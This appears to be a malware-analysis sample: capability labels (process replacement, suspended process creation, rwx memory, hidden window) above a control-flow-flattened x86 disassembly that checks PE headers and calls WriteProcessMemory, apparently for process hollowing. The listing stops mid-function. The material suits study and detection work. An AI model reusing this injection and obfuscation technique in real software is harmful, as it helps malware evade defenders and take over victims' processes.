Function at 0x10007570
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x1007d200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0x972e0108
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x8032ddc8
je 0x1000d79f
jmp 0x100075ac
mov eax, dword [ebp - 0x15c]
sub eax, 0x815a2dd7
je 0x1000a45f
jmp 0x100075c2
mov eax, dword [ebp - 0x15c]
sub eax, 0x81892e61
je 0x1000e97a
jmp 0x100075d8
mov eax, dword [ebp - 0x15c]
sub eax, 0x81f145d3
je 0x1000dc5c
jmp 0x100075ee
mov eax, dword [ebp - 0x15c]
sub eax, 0x827cd9cd
je 0x1000c05b
jmp 0x10007604
mov eax, dword [ebp - 0x15c]
sub eax, 0x82a2739c
je 0x1000d80d
jmp 0x1000761a
mov eax, dword [ebp - 0x15c]
sub eax, 0x83138052
je 0x1000caf3
jmp 0x10007630
mov eax, dword [ebp - 0x15c]
sub eax, 0x835f18d2
je 0x1000cd8c
jmp 0x10007646
mov eax, dword [ebp - 0x15c]
sub eax, 0x83b92037
je 0x1000b5cc
jmp 0x1000765c
mov eax, dword [ebp - 0x15c]
sub eax, 0x83caeadf
je 0x1000f7d6
jmp 0x10007672
mov eax, dword [ebp - 0x15c]
sub eax, 0x84a51bcd
je 0x1000af0d
jmp 0x10007688
mov eax, dword [ebp - 0x15c]
sub eax, 0x852a7aaa
je 0x1000a3b2
jmp 0x1000769e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8656f8bc
je 0x1000ce06
jmp 0x100076b4
mov eax, dword [ebp - 0x15c]
sub eax, 0x86d97eca
je 0x1000c492
jmp 0x100076ca
mov eax, dword [ebp - 0x15c]
sub eax, 0x86fb7f54
je 0x1000bb29
jmp 0x100076e0
mov eax, dword [ebp - 0x15c]
sub eax, 0x873b75bd
je 0x1000b8fc
jmp 0x100076f6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8747941b
je 0x1000c78c
jmp 0x1000770c
mov eax, dword [ebp - 0x15c]
sub eax, 0x874e0a0d
je 0x1000e148
jmp 0x10007722
mov eax, dword [ebp - 0x15c]
sub eax, 0x8805cd0f
je 0x1000e7bb
jmp 0x10007738
mov eax, dword [ebp - 0x15c]
sub eax, 0x89f9d0b8
je 0x1000f4b4
jmp 0x1000774e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a089d9a
je 0x1000a70b
jmp 0x10007764
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ab7804b
je 0x1000e29d
jmp 0x1000777a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b053671
je 0x1000cb02
jmp 0x10007790
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bc676f1
je 0x1000d612
jmp 0x100077a6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8cc66833
je 0x1000b6bc
jmp 0x100077bc
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d5cc8bb
je 0x1000b583
jmp 0x100077d2
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d7e1e43
je 0x1000f0f2
jmp 0x100077e8
mov eax, dword [ebp - 0x15c]
sub eax, 0x8dd0bb93
je 0x1000f4d3
jmp 0x100077fe
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e18b587
je 0x1000c90a
jmp 0x10007814
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ed23f34
je 0x1000aba9
jmp 0x1000782a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9038fd3e
je 0x1000f08b
jmp 0x10007840
mov eax, dword [ebp - 0x15c]
sub eax, 0x917a6c7e
je 0x1000cf22
jmp 0x10007856
mov eax, dword [ebp - 0x15c]
sub eax, 0x91a94e55
je 0x1000c881
jmp 0x1000786c
mov eax, dword [ebp - 0x15c]
sub eax, 0x920df269
je 0x1000e78d
jmp 0x10007882
mov eax, dword [ebp - 0x15c]
sub eax, 0x92909d3f
je 0x10009ec7
jmp 0x10007898
mov eax, dword [ebp - 0x15c]
sub eax, 0x92c8a902
je 0x1000bc5f
jmp 0x100078ae
mov eax, dword [ebp - 0x15c]
sub eax, 0x931aac71
je 0x1000c21c
jmp 0x100078c4
mov eax, dword [ebp - 0x15c]
sub eax, 0x935fd1ab
je 0x1000e882
jmp 0x100078da
mov eax, dword [ebp - 0x15c]
sub eax, 0x93960154
je 0x1000a6dd
jmp 0x100078f0
mov eax, dword [ebp - 0x15c]
sub eax, 0x942b97ac
je 0x1000de2b
jmp 0x10007906
mov eax, dword [ebp - 0x15c]
sub eax, 0x9438f269
je 0x1000d503
jmp 0x1000791c
mov eax, dword [ebp - 0x15c]
sub eax, 0x9501f081
je 0x1000ca15
jmp 0x10007932
mov eax, dword [ebp - 0x15c]
sub eax, 0x955ac64e
je 0x1000f8dc
jmp 0x10007948
mov eax, dword [ebp - 0x15c]
sub eax, 0x95b4c763
je 0x1000b113
jmp 0x1000795e
mov eax, dword [ebp - 0x15c]
sub eax, 0x972e0108
je 0x10009aa5
jmp 0x10007974
mov eax, dword [ebp - 0x15c]
sub eax, 0x99ca006b
je 0x1000fa27
jmp 0x1000798a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9a5c3883
je 0x1000e6b7
jmp 0x100079a0
mov eax, dword [ebp - 0x15c]
sub eax, 0x9a6f3dd3
je 0x1000e904
jmp 0x100079b6
mov eax, dword [ebp - 0x15c]
sub eax, 0x9b9bf5e9
je 0x1000e4fd
jmp 0x100079cc
mov eax, dword [ebp - 0x15c]
sub eax, 0x9ba55cf7
je 0x1000b206
jmp 0x100079e2
mov eax, dword [ebp - 0x15c]
sub eax, 0x9cce2b0b
je 0x1000a2e7
jmp 0x100079f8
mov eax, dword [ebp - 0x15c]
sub eax, 0x9cefbc8b
je 0x1000dbd8
jmp 0x10007a0e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d0c4c92
je 0x1000f54f
jmp 0x10007a24
mov eax, dword [ebp - 0x15c]
sub eax, 0x9dcf0550
je 0x1000c502
jmp 0x10007a3a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9dedab71
je 0x10009ca1
jmp 0x10007a50
mov eax, dword [ebp - 0x15c]
sub eax, 0x9f084d16
je 0x1000d48d
jmp 0x10007a66
mov eax, dword [ebp - 0x15c]
sub eax, 0xa05db8f3
je 0x1000aeee
jmp 0x10007a7c
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0e2d143
je 0x1000d73e
jmp 0x10007a92
mov eax, dword [ebp - 0x15c]
sub eax, 0xa1362ac8
je 0x1000f91f
jmp 0x10007aa8
mov eax, dword [ebp - 0x15c]
sub eax, 0xa147a28d
je 0x1000f6b0
jmp 0x10007abe
mov eax, dword [ebp - 0x15c]
sub eax, 0xa25bfc5f
je 0x1000eb92
jmp 0x10007ad4
mov eax, dword [ebp - 0x15c]
sub eax, 0xa28fae68
je 0x1000d29f
jmp 0x10007aea
mov eax, dword [ebp - 0x15c]
sub eax, 0xa2936b9d
je 0x1000cda9
jmp 0x10007b00
mov eax, dword [ebp - 0x15c]
sub eax, 0xa302e1f6
je 0x1000a6ec
jmp 0x10007b16
mov eax, dword [ebp - 0x15c]
sub eax, 0xa30b77e7
je 0x1000b646
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0x2c83def4
sub edx, 1
add edx, 0x2c83def4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37ad01e
mov ecx, 0xe141f021
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
add edx, 0xa166872a
sub edx, 1
sub edx, 0xa166872a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b8d43df
mov ecx, 0x4f35f2e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0xdc72f3be
sub edx, 1
add edx, 0xdc72f3be
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb03f7b42
mov ecx, 0xabe2a2be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d20c]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
add edx, 0x7f205001
sub edx, 1
sub edx, 0x7f205001
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7322e40
mov ecx, 0xd970eb39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d380]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001d37c]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001d378]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x158], 0x945fcba
jmp 0x1000fc03
movss xmm0, dword [0x1001d208]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc9603f5f
mov ecx, 0xcce18da8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0xa302e1f6
jmp 0x1000fc03
movss xmm0, dword [0x1001d36c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x158], 0x8a089d9a
jmp 0x1000fc03
movss xmm0, dword [0x1001d368]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x158], 0xc2e861d9
jmp 0x1000fc03
mov dword [ebp - 0x158], 0xa61d7810
jmp 0x1000fc03
movss xmm0, dword [0x1001d338]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x158], 0x84a51bcd
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0x656195bd
sub edx, 1
add edx, 0x656195bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd76f6aa
mov ecx, 0xe3e69ae5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3d2bdd75
mov ecx, 0x73f00698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d330]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x1001d32c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x158], 0x1cc97287
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20ddf0a8
mov ecx, 0x83b92037
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dl, 1
mov eax, 0x527652db
mov ecx, 0xe6a70f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbeef71d9
mov ecx, 0xdebd3158
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf5e3cd64
mov ecx, 0xc156e82a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0x9f6b914a
sub edx, 1
add edx, 0x9f6b914a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd57bc2e
mov ecx, 0x1a5e7615
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d1d0]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001d1cc]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0xea1d2efd
sub edx, 1
add edx, 0xea1d2efd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa147a28d
mov ecx, 0x1b2136d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dl, 1
mov eax, 0xc92db607
mov ecx, 0xeb43c7b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44f886bf
mov ecx, 0x1dfe59b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d1b8]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0xd0685d79
sub edx, 1
add edx, 0xd0685d79
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa77c31b
mov ecx, 0xfb5e4a1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d2c0]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x1001d2bc]
movss dword [ebp - 0x138], xmm0
mov dl, 1
mov eax, 0xb40ea21d
mov ecx, 0xf9331a7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0xf6ea1424
jmp 0x1000fc03
mov dword [ebp - 0x158], 0xe171fc80
jmp 0x1000fc03
mov dl, 1
mov eax, 0x5c781972
mov ecx, 0x31037315
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x5c781972
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x8b053671
jmp 0x1000fc03
mov dl, 1
mov eax, 0xede19dc
mov ecx, 0x4d69cba1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dl, 1
mov eax, 0xed7b39bb
mov ecx, 0xa2936b9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d27c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x158], 0x441d4044
jmp 0x1000fc03
mov dl, 1
mov eax, 0x2cb26507
mov ecx, 0x101091d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dl, 1
mov eax, 0x1195c5ac
mov ecx, 0xab29330
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0xd0d3b600
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0x4a854a78
sub edx, 1
add edx, 0x4a854a78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x955ac64e
mov ecx, 0x9438f269
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d190]
movss dword [ebp - 0x140], xmm0
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
add edx, 0x2c5a1ce6
sub edx, 1
sub edx, 0x2c5a1ce6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x955ac64e
mov ecx, 0x4e03c456
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
movss xmm0, dword [0x1001d230]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x158], 0xbaee7f56
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x20e8dd8a
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeff2f28
mov ecx, 0x82a2739c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [ebp - 0xe0]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xd9], al
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0x5acd2fe3
sub edx, 1
add edx, 0x5acd2fe3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeff2f28
mov ecx, 0x6156aa74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0xd2e07cf3
sub edx, 1
add edx, 0xd2e07cf3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6cb81a18
mov ecx, 0x81f145d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x44428a94
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x99ca006b
mov ecx, 0xc13c8c92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x341cf913
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a14a763
mov ecx, 0x7dfba6b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
add edx, 0xfc7ad983
sub edx, 1
sub edx, 0xfc7ad983
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x57c7a0aa
mov ecx, 0xc4607ea8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [0x1007e528]
mov ecx, dword [0x1007e524]
mov edx, eax
sub edx, 0x86dc88d9
sub edx, 1
add edx, 0x86dc88d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc9fd11c
mov ecx, 0xe7c7e210
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
sub ecx, 0x2aa0b688
add ecx, 1
add ecx, 0x2aa0b688
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x8805cd0f
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
add edx, 0x5f925f12
sub edx, 1
sub edx, 0x5f925f12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb00df042
mov ecx, 0xda387813
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x341cf913
jmp 0x1000fc03
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0x499afdc5
sub edx, 1
add edx, 0x499afdc5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfd4e5260
mov ecx, 0x81892e61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x8e], al
mov ecx, dword [0x1007e528]
mov eax, dword [0x1007e524]
mov edx, ecx
sub edx, 0x66b5d76d
sub edx, 1
add edx, 0x66b5d76d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfd4e5260
mov ecx, 0xd984a5b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000fc03
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x8c]
add ecx, 0xe2ef215e
sub ecx, eax
sub ecx, 0xe2ef215e
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov dword [ebp - 0x158], 0xde5899b0
jmp 0x1000fc03
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x74]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x158], 0x8d7e1e43
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x4d15ed97
jmp 0x1000fc03
movss xmm0, dword [0x1001d204]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x158], 0x5a5263a1
jmp 0x1000fc03
movss xmm0, dword [0x1001d200]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x158], 0xb9286db9
jmp 0x1000fc03
mov dword [ebp - 0x158], 0x5c057a5e
jmp 0x1000fc03
movss xmm0, dword [0x1001d1d0]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001d1cc]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x158], 0x92c8a902
jmp 0x1000fc03
movss xmm0, dword [0x1001d1ac]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x447c1c33
jmp 0x1000fc03
movss xmm0, dword [0x1001d190]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x158], 0x9438f269
jmp 0x1000fc03
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10010ef0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010ef0
add esp, 0xc
mov eax, dword [ebp - 0x150]
cmp dword [eax + 0xe8], 0
